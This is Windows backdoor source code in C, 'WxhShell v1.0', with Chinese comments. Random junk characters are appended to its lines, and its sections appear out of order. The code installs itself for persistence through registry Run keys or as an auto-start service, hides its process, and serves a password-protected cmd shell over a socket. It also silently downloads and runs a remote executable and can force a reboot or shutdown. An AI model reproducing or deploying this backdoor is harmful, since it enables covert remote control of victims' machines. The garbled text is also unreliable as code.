    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AU0$A403  
    else { Q8 -3RgAw  
    closesocket(wsh); ZvUp#8x(3  
    ExitThread(0); 2#'rk'X,K  
    } | d~B]65t  
    break; d>YmKTk"  
    } G{ F6  
  // 获取shell &\&'L|0F  
  case 's': { GMEw  
    CmdShell(wsh); `ifb<T  
    closesocket(wsh); :_MP'0QP  
    ExitThread(0); ?O!]8k`1$  
    break; $TR=3[j  
  } :L]-'\y  
  // 退出 NU|qX {-  
  case 'x': { _mw13jcN]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J=@hk@Nq#  
    CloseIt(wsh); CI IY|DI`l  
    break; Lqg] Fd  
    } U!x0,sr  
  // 离开 63.( j P1;  
  case 'q': { 5_v5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3b<: :t  
    closesocket(wsh); O-i4_YdVt  
    WSACleanup(); vB Sm=M  
    exit(1); d?JAUbqy  
    break; Dz,uS nnm  
        } ';_1rh  
  } Po!oN~r  
  } y= 2=DU  
T:c7@^=  
  // 提示信息 Dp^"J85}   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E yd$fcRK  
} @o`sf-8x  
  } +IvNyj|  
"Lb f F  
  return; 6e*%\2UA  
} jh>N_cp  
37#cx)p^f  
// shell模块句柄 F@g17aa  
int CmdShell(SOCKET sock) [C~fBf5  
{ FU[*8^Z  
STARTUPINFO si; a-fv[oB  
ZeroMemory(&si,sizeof(si)); xne]Q(B>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >Q&CgGpW$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0%/,>IR>r  
PROCESS_INFORMATION ProcessInfo; |4=ihB9+  
char cmdline[]="cmd"; gRHtgR)T3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z3clUtC+  
  return 0;  64SW  
} \e_IFISC  
{JXf*IJ  
// 自身启动模式 kl=xu3j  
int StartFromService(void) b,9@P&=:2  
{ 2v4W6R  
typedef struct $Tfm/=e  
{ >Dxe>Q'df  
  DWORD ExitStatus; 87pnSj/X"  
  DWORD PebBaseAddress; 'gYg~=  
  DWORD AffinityMask; z23#G>I&  
  DWORD BasePriority; 46ILs1T6  
  ULONG UniqueProcessId; ;"D~W#0-v  
  ULONG InheritedFromUniqueProcessId; >8%M*-=p  
}   PROCESS_BASIC_INFORMATION; iZC>)&ax  
KVg[#~3  
PROCNTQSIP NtQueryInformationProcess; ?gU}[]  
_wmI(+_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 00"CC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /\d(c/,4  
rjXnDh]MC  
  HANDLE             hProcess; *u}'}jC1X  
  PROCESS_BASIC_INFORMATION pbi; P`tyBe#=  
\Fq1^ 8qa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hv3;irK]&  
  if(NULL == hInst ) return 0; <Kg2$lu(_`  
><cU7 ja[^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hzv3F9.x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (nq^\ZdF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _p0)vT  
f$vwuW  
  if (!NtQueryInformationProcess) return 0; ?HV}mS[t  
t-x[:i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zOL;"/R  
  if(!hProcess) return 0; ;uK";we  
*<7l!#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  >9{zQf!  
pziq0  
  CloseHandle(hProcess); RB IOdz  
lirNYJ]tO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !W~QT}  
if(hProcess==NULL) return 0; X{`1:c'x  
Oo1ecbY  
HMODULE hMod; (#If1[L  
char procName[255]; UoHd-  
unsigned long cbNeeded; {tc57jsr  
0Q`&inwh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PYu$1o9+N  
a_MFQf&KV  
  CloseHandle(hProcess); Ia#"/`||  
<*_o0;h|  
if(strstr(procName,"services")) return 1; // 以服务启动 *,0+RASvq  
YtpRy% R  
  return 0; // 注册表启动 2[ksi51y  
} NZ+7p{&AN  
sDX/zF6t  
// 主模块 =HS4I.@c_5  
int StartWxhshell(LPSTR lpCmdLine) [ZD[a6(94  
{ hXc}r6<B  
  SOCKET wsl; $~G@   
BOOL val=TRUE; ; h85=l<8u  
  int port=0; x)_r@l`$ix  
  struct sockaddr_in door; NJm-%K  
ioWo ]  
  if(wscfg.ws_autoins) Install(); l~ D\;F  
z+ ZG1\  
port=atoi(lpCmdLine); IT18v[-G  
rI>LjHP  
if(port<=0) port=wscfg.ws_port; y6FKg)  
Gc'M[9Mh  
  WSADATA data; <aXoB*Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ('JKN"3  
Im+ 7<3Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !b63ik15O~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *{|$FQnR>(  
  door.sin_family = AF_INET; oqYt/4^Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `7\H41%\pp  
  door.sin_port = htons(port); !D;c,{Oz  
_C$X04bU3V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xNIGO/uI~  
closesocket(wsl); ' %&z.{  
return 1; K{2h9 ]VF  
} 0m A(:"  
, D"]y~~I5  
  if(listen(wsl,2) == INVALID_SOCKET) { (:n|v%  
closesocket(wsl); (v^Z BM_  
return 1; "mA1H]r3  
} +>}o;`hPe  
  Wxhshell(wsl); R$d7\nBG  
  WSACleanup(); p/&HUQQk  
P0 b4Hq3  
return 0; zN")elBi  
X}W)3v  
} (A4&k{C_  
e2wvc/gG6  
// 以NT服务方式启动 F&az":  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H %z/v|e6  
{ PJK9704 6  
DWORD   status = 0; *HeVACxo  
  DWORD   specificError = 0xfffffff; S3y246|4  
]2$x| #Gg}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O|e}   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x*q35K^PE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $8g42LR'  
  serviceStatus.dwWin32ExitCode     = 0; p9iu:MucD<  
  serviceStatus.dwServiceSpecificExitCode = 0; V;;#/$oU:4  
  serviceStatus.dwCheckPoint       = 0; N}mh}  
  serviceStatus.dwWaitHint       = 0; ~},W8\C>  
Z0\Iyc G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t^U^Tr  
  if (hServiceStatusHandle==0) return; SiTeB)/  
M1{(OY(G  
status = GetLastError(); s[X B#)H4  
  if (status!=NO_ERROR) x.UaQ |F  
{ #xp(B5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V|: qow:F  
    serviceStatus.dwCheckPoint       = 0; Z&Pu8zG /m  
    serviceStatus.dwWaitHint       = 0; lDN?|YG  
    serviceStatus.dwWin32ExitCode     = status; q3+8]-9|5  
    serviceStatus.dwServiceSpecificExitCode = specificError; D/:3R ZF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W;TJenv  
    return; = F<:}Tx)C  
  } K*+6`z#fMF  
Q0>q:aj\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %/pc=i|+  
  serviceStatus.dwCheckPoint       = 0; Y;_T=  L  
  serviceStatus.dwWaitHint       = 0; V.VJcx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); moG~S]  
} Yqj+hC6>,  
<5IQc[3]aP  
// 处理NT服务事件,比如:启动、停止 q qvF-mDN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) doLNz4W  
{ h<NRE0-  
switch(fdwControl) J-XTN"O  
{ 5[R?iSGL1  
case SERVICE_CONTROL_STOP: 9g]M4*?C9P  
  serviceStatus.dwWin32ExitCode = 0; x~+-VF3/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U^?= 0+  
  serviceStatus.dwCheckPoint   = 0; BS2?!;,8  
  serviceStatus.dwWaitHint     = 0; h(N=V|0  
  { 8Q(8b@ZO,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z<<Tk.65  
  } 7'eh)[T  
  return; fj+O'X  
case SERVICE_CONTROL_PAUSE: c0[k T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ZqK]jT6V/X  
  break; *U_oao  
case SERVICE_CONTROL_CONTINUE: xZ+]QDKC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  Zi4d]  
  break; 6N3@!xtpi  
case SERVICE_CONTROL_INTERROGATE: c#pj:f*H  
  break; TB#N k5  
}; &HL{LnLP@/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?OsS`)T  
} t.U{Bu P  
o5 WW{)Q  
// 标准应用程序主函数 @a(oB.i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VGZ6  
{ f:vD`Fz1  
o](.368+4  
// 获取操作系统版本 dtTlIhh1V  
OsIsNt=GetOsVer(); N-%#\rPq.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); * nCx[  
'vlrc[|/  
  // 从命令行安装 q"nGy#UWR  
  if(strpbrk(lpCmdLine,"iI")) Install(); &t6Tcy  
x6e+7"#~  
  // 下载执行文件 rPO}6lsc  
if(wscfg.ws_downexe) { `bqzg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O<X )p`,`  
  WinExec(wscfg.ws_filenam,SW_HIDE); B.K4!/cF  
} 4z0L ke  
Q52 bh'cuU  
if(!OsIsNt) { $1e pf  
// 如果时win9x,隐藏进程并且设置为注册表启动 uV77E*+7\  
HideProc(); "L@g3g?|`  
StartWxhshell(lpCmdLine); \ V?I+Gc  
} >76 |:Nq  
else *"T+G*~  
  if(StartFromService()) SQ<f  
  // 以服务方式启动 ^ItAW$T]F  
  StartServiceCtrlDispatcher(DispatchTable); o?\Gm  
else  XhA4:t  
  // 普通方式启动 la`"$f  
  StartWxhshell(lpCmdLine); aAcKwCGq\  
OG}KqG!n  
return 0; O 6]u!NqG  
} E9R]sXf8  
vJThU$s-  
GNZ#q)qT  
U8[Qw}T P  
=========================================== {u4i*udG`)  
8Fx]koP.  
b9#m m  
3):?ZCw7y  
;qb Dbg  
e^WqJ7j  
" O! (85rp/  
Ql8^]gbp+  
#include <stdio.h> W0?JVtq0Z  
#include <string.h> M:(&n@e  
#include <windows.h> U!NI_uk  
#include <winsock2.h> 2-7Z(7G{ F  
#include <winsvc.h> #G~wE*VR$  
#include <urlmon.h> 3P`WPph  
//tT8HX  
#pragma comment (lib, "Ws2_32.lib") 9C=~1>S  
#pragma comment (lib, "urlmon.lib") mF~ys{"t  
D}Au6  
#define MAX_USER   100 // 最大客户端连接数 AoU_;B\b%  
#define BUF_SOCK   200 // sock buffer W1`Dx(g  
#define KEY_BUFF   255 // 输入 buffer Rv,Mu3\~#c  
1q`k}KMy  
#define REBOOT     0   // 重启 xy vND  
#define SHUTDOWN   1   // 关机 j@CKO cn2  
G g(NGT  
#define DEF_PORT   5000 // 监听端口 ?-S8yqe  
,3k@L\$.x  
#define REG_LEN     16   // 注册表键长度 0}D-KvjyP  
#define SVC_LEN     80   // NT服务名长度 4uPH  
H7}g!n?  
// 从dll定义API >~^`5a`$uI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XJ O[[G`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nfa_8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8XlU%a6x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %rw}u"3T  
HM 90Sb  
// wxhshell配置信息 ~;!BDLMC6  
struct WSCFG { V07VwVD  
  int ws_port;         // 监听端口 Yfe'#MKfL  
  char ws_passstr[REG_LEN]; // 口令 P*7S3Td  
  int ws_autoins;       // 安装标记, 1=yes 0=no dB@FI  
  char ws_regname[REG_LEN]; // 注册表键名 X0!Bs-WFp  
  char ws_svcname[REG_LEN]; // 服务名 Enu!u~1]F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'H!V54 \j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TqXg e{r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {wHvE4F2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2+o!o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^glX1 )  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {N "*olx  
7MoR9,(  
}; z>7=k`x`:  
'OG{*TDPu  
// default Wxhshell configuration 1z3]PA!R  
struct WSCFG wscfg={DEF_PORT, C/bxfp{?  
    "xuhuanlingzhe", PP],HB+*[  
    1, "~_$T@^k>  
    "Wxhshell", pL8H8kn  
    "Wxhshell", ~Po\ En  
            "WxhShell Service", " cNg :  
    "Wrsky Windows CmdShell Service", &{BBxv)y  
    "Please Input Your Password: ", ?THa5%8f  
  1, J}:&eS  
  "http://www.wrsky.com/wxhshell.exe", ed=n``P~}  
  "Wxhshell.exe" IeH^Wm&^  
    }; `|&\e_"DE  
=,O /,2)  
// 消息定义模块 (X*'y*:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R08&cd#$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xUQdVrFU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '^e0Ud,  
char *msg_ws_ext="\n\rExit."; hI*`>9l  
char *msg_ws_end="\n\rQuit."; |y klT  
char *msg_ws_boot="\n\rReboot..."; 'y< t/qo  
char *msg_ws_poff="\n\rShutdown..."; 1>hb-OMX  
char *msg_ws_down="\n\rSave to "; hH#lTye  
pa> p%  
char *msg_ws_err="\n\rErr!"; axOi 5  
char *msg_ws_ok="\n\rOK!"; ' J2ewW5  
o1Ne+Jt  
char ExeFile[MAX_PATH]; =[s8q2V  
int nUser = 0; mlD%d!.  
HANDLE handles[MAX_USER]; GI}4,!^N  
int OsIsNt; SwyaYK  
K *TnUQ  
SERVICE_STATUS       serviceStatus; L^6"' #  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1X[ 73  
Ad^dF'SN  
// 函数声明 SE6>vKR/.  
int Install(void); 7F"3<U@J  
int Uninstall(void); 3(MoXA*  
int DownloadFile(char *sURL, SOCKET wsh); e jP,29  
int Boot(int flag); >y]?MGk  
void HideProc(void); (qJIu  
int GetOsVer(void); 9*BoYFw92*  
int Wxhshell(SOCKET wsl); pi|\0lH6W  
void TalkWithClient(void *cs); ]gb _Nv  
int CmdShell(SOCKET sock); +8]W\<Kp  
int StartFromService(void); }*0,>w>  
int StartWxhshell(LPSTR lpCmdLine); )gr}<}X)B  
,;9ak-$8p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m"5{D*|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~u};XhZ  
sq6>DuBZz  
// 数据结构和表定义 hT.4t,wa8  
SERVICE_TABLE_ENTRY DispatchTable[] = EV:_Kx8fP  
{ Vp|2wlFE-  
{wscfg.ws_svcname, NTServiceMain}, k&WUv0  
{NULL, NULL} (irk$d %  
}; Dq{:R  
~ &t!$  
// 自我安装 {k kAqJ  
int Install(void) lt }r}HM+  
{ | -JI`!7  
  char svExeFile[MAX_PATH]; s[Y)d>~\$=  
  HKEY key; mYntU^4f  
  strcpy(svExeFile,ExeFile); iU.!oeR?  
.UNF~}^H  
// 如果是win9x系统,修改注册表设为自启动 W,xi> 5k  
if(!OsIsNt) { B0 6s6Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >_rzT9gX&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ` 52% XI  
  RegCloseKey(key); =9kj? u~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]\[m=0K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E%-Pyg*  
  RegCloseKey(key); 3yeK@>C  
  return 0; R1I I k  
    } !y.ei1diw  
  } KK@ &q  
} K4iI:  
else { eKL]E!  
3Cq6h;!#  
// 如果是NT以上系统,安装为系统服务 ^RYn8I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lF0K=L  
if (schSCManager!=0) D."cQ<sxpN  
{ _{N0OX  
  SC_HANDLE schService = CreateService T+`xr0  
  ( Y'tqm&}  
  schSCManager, 6"BtfQ")  
  wscfg.ws_svcname, Q&oC]u(="&  
  wscfg.ws_svcdisp, 5oVLv4Z9u  
  SERVICE_ALL_ACCESS, %M|Z}2qv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8:Z@lp^  
  SERVICE_AUTO_START, KC&H*  
  SERVICE_ERROR_NORMAL, SNQz8(O  
  svExeFile, 59&T/  
  NULL, ST[2]   
  NULL, 9zXu6<|qrL  
  NULL, JoZqLy!@  
  NULL, &{X{36  
  NULL b=6MFPbg  
  ); SZCF3m&pz  
  if (schService!=0) aO~s i=  
  { L~@ma(TV{K  
  CloseServiceHandle(schService); clh3  
  CloseServiceHandle(schSCManager); SQ1M4:hP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M'pb8jf  
  strcat(svExeFile,wscfg.ws_svcname); 2#>$%[   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fG:PdIJ7_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xz;et>UD*B  
  RegCloseKey(key); .OVW4svX  
  return 0; lcu("^{3  
    } 0_YxZS\  
  } {DKXn`V  
  CloseServiceHandle(schSCManager); BSx j~pun  
} F Q8RK~?`  
} tQNk=}VR7r  
ovhC4 2i  
return 1; Z7tU0  
} .`oJcJ  
b &\3ps  
// 自我卸载 A)b)ff ,  
int Uninstall(void) >i^y;5  
{ 8>C; >v  
  HKEY key; .b =M5JsyV  
2ApDpH`fiJ  
if(!OsIsNt) { 8m#}S\m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tIn7(C  
  RegDeleteValue(key,wscfg.ws_regname); [;>zqNy  
  RegCloseKey(key); -/ (DP x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !Iw{Y'  
  RegDeleteValue(key,wscfg.ws_regname); {] t\`fjrg  
  RegCloseKey(key); ({;P#qCX  
  return 0; {:};(oz)f  
  } k| _$R?  
} %8}WX@SB  
} ua]\xBWx  
else { (SgEt  
%JP&ox|^&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (cOND/S  
if (schSCManager!=0) `c qH}2s#  
{ nx!qCgo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e67c:Z  
  if (schService!=0) AijPN  
  { "E@NZ*"u  
  if(DeleteService(schService)!=0) { [ 4?cM\_u@  
  CloseServiceHandle(schService); Uv @!i0W  
  CloseServiceHandle(schSCManager); .4S^nP  
  return 0; _aXP ;kFMi  
  } ?D*Hl+iu  
  CloseServiceHandle(schService); ?$"x^=te7  
  } T..N*6<X  
  CloseServiceHandle(schSCManager); y1,?ZWTayr  
} ]y1$F Ir+  
} wQo6!H "K  
..P=D <'f  
return 1; Zd[y+$>  
} 2.fyP"P L  
T[Z <bW~0  
// 从指定url下载文件 2]of SdM  
int DownloadFile(char *sURL, SOCKET wsh) 2 pM  
{ kcq9p2zKv  
  HRESULT hr; >:Rt>po8|w  
char seps[]= "/"; z")3_5Br  
char *token; p0}+071o%  
char *file; >cwJl@wx-  
char myURL[MAX_PATH]; <r_P? lZW  
char myFILE[MAX_PATH]; >5Q^9 9V  
(uuEjM$3%  
strcpy(myURL,sURL); Pi&fwGL  
  token=strtok(myURL,seps); B|]t\(~$ [  
  while(token!=NULL) ,(@Y%UW:  
  { Dg9--wI}I9  
    file=token; ;ZxK3/(7  
  token=strtok(NULL,seps); rQd1Ch  
  } boC>N   
h3UZ|B0=  
GetCurrentDirectory(MAX_PATH,myFILE); Gx(KN57D  
strcat(myFILE, "\\"); wf~5lpI[  
strcat(myFILE, file); ++J Bbuzj!  
  send(wsh,myFILE,strlen(myFILE),0); .XV]<)<K$  
send(wsh,"...",3,0); C&gOA8nf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -)y> c  
  if(hr==S_OK) OEy:#9<'  
return 0; sx)$=~o  
else KRnB[$3F1  
return 1;  m+72C]9  
z) ]BV=  
} |!4B Wt  
s]nGpA[!  
// 系统电源模块 C;58z 5*,  
int Boot(int flag) <eud#v  
{ :|3"H&FWK  
  HANDLE hToken; ??$i*  
  TOKEN_PRIVILEGES tkp; ;3.T* ?|o  
>+A1 V[  
  if(OsIsNt) { + ,vJ7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F?RCaj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YobC'c\~9  
    tkp.PrivilegeCount = 1; M/8#&RycQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,%)WT>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ((RpT0rP\  
if(flag==REBOOT) { D*d 3w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |h^G$guw  
  return 0; vjs|!O=oH  
} gNEzlx8A  
else { 26('V `N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,{`o/F/  
  return 0; 0btmao-  
} T0*TTB&b  
  } @ 2%.>0s.  
  else { 6S! lD=  
if(flag==REBOOT) { m5'__<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2kp|zX(  
  return 0; :uT fhr  
} DMK"Q#Vw  
else { U'sVs2sk6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nL7S3  
  return 0; NSiYUAu g  
} eBSn1n  
} 6,g5To#vw  
r$3~bS$]  
return 1; N) V7yo?  
} r0Y?X\l*  
Y00i{/a 8  
// win9x进程隐藏模块 %b>y  
void HideProc(void) 9sO{1rF  
{ `3>)BV<P  
=B o4yN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g1hg`qBBW  
  if ( hKernel != NULL ) of[|b{Ze4~  
  { !cFE^VM_;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?^G$;X7B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P :7l#/x_  
    FreeLibrary(hKernel); qed!C  
  } -%/,j)VKD  
V)?x*R*T)  
return; .U(SkZ`6  
} -fSKJo#}|  
i/ O,`2  
// 获取操作系统版本 &' Nk2{  
int GetOsVer(void) t#D\*:Xi  
{ Fb<\(#t  
  OSVERSIONINFO winfo; T h- vG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rY_C3;B  
  GetVersionEx(&winfo); Bu >yRL=*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'bY|$\I  
  return 1; ;ijfI  
  else \ \mO+N47i  
  return 0; \'^Z_6{w  
} Med"dHo7  
ss*2TE7  
// 客户端句柄模块 }~\].I6  
int Wxhshell(SOCKET wsl) ;uA_gn!  
{ B,VSFpPx  
  SOCKET wsh; {;z L[AgCg  
  struct sockaddr_in client; h>5~ (n8  
  DWORD myID; B|q3;P  
! ,(bXa\^  
  while(nUser<MAX_USER) dXK~ Z:  
{ W%jX-  
  int nSize=sizeof(client); 4Igs\x{i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5Ret,~Vs9|  
  if(wsh==INVALID_SOCKET) return 1; RWh}?vs_  
W!Ct[t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y3o4%K8  
if(handles[nUser]==0) M3ZJt'|  
  closesocket(wsh); ?=@Q12R)X  
else aab4c^Ms=  
  nUser++; :PjUl  
  } G'}_ZUy#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &LxzAL,3!  
/ jL{JF>I  
  return 0; RVKaqJ0e<  
} ^%OH}Z`ly  
K/.hJ  
// 关闭 socket 7rDRu]  
void CloseIt(SOCKET wsh) PA-0FlV|  
{ g7Q*KA+  
closesocket(wsh); *ej o6>  
nUser--; ,E8>:-boL  
ExitThread(0); hr}R,BR|  
} (XIq?c1T  
#]\G*>{  
// 客户端请求句柄 yI|?iBc7nC  
void TalkWithClient(void *cs) vhe Ah`u^&  
{ OFAqP1o{$  
q2U"k  
  SOCKET wsh=(SOCKET)cs; R^O)fL0_  
  char pwd[SVC_LEN]; LAVt/TcZS|  
  char cmd[KEY_BUFF]; ;eEtdoy  
char chr[1]; Nwu Be:"@  
int i,j; eEZlVHM;O  
@/2wmza%2  
  while (nUser < MAX_USER) { E#V-F-@2  
FCB/FtI0  
if(wscfg.ws_passstr) { ghO//?m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z^HlDwsbm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8RT0&[  
  //ZeroMemory(pwd,KEY_BUFF); 0}C}\1  
      i=0; ps;o[gB@5  
  while(i<SVC_LEN) { jxOVH+?l%  
nhxd  
  // 设置超时 K[;,/:Y  
  fd_set FdRead; 3\l9Sf=M|  
  struct timeval TimeOut; OuIW|gIu0  
  FD_ZERO(&FdRead); 3)MM5 b b$  
  FD_SET(wsh,&FdRead); F4{. 7BT  
  TimeOut.tv_sec=8; J3SbyI!T  
  TimeOut.tv_usec=0; ;A'17B8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l#f]KLv4N_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9d(v^T  
> Vm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eS%6 h U b  
  pwd=chr[0]; "ZB`fNE  
  if(chr[0]==0xd || chr[0]==0xa) { ..{^"`FQ  
  pwd=0; ^aM/BS\  
  break; 5+"8q#X$  
  } <@ex})su  
  i++; LzSusjEW@  
    } b020U>)v  
7 ,~Krzv  
  // 如果是非法用户,关闭 socket ,ui'^8{gK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WG=r? xE  
} LO*a>9LI  
GT}#iM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xfQ;5n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,r,;2,;6nd  
;j\$[4W.i  
while(1) { ~(P\F&A(&  
>h-6B=  
  ZeroMemory(cmd,KEY_BUFF); .{ Lm  
3'uES4+r  
      // 自动支持客户端 telnet标准   Z"nuO\zH~  
  j=0; DQXx}%Px  
  while(j<KEY_BUFF) { 7Ki7N{K t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m64\@ [  
  cmd[j]=chr[0]; ]`U?<9~Ob  
  if(chr[0]==0xa || chr[0]==0xd) { z#67rh {  
  cmd[j]=0; D(?#oCCA  
  break; S5 vMP N  
  } g {wPw  
  j++; j`M<M[C*4N  
    } BnY|t2r  
(&x\,19U$  
  // 下载文件 J3E:r_+  
  if(strstr(cmd,"http://")) { u+FftgA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); aVL%-Il}  
  if(DownloadFile(cmd,wsh)) xH-k~#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (?wKBUi  
  else *njB fH'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bv"({:x  
  } EB<tX`Wp  
  else { #yxYL0CcA:  
hpKc_|un  
    switch(cmd[0]) { :WTvP$R  
  S$:S*6M@"  
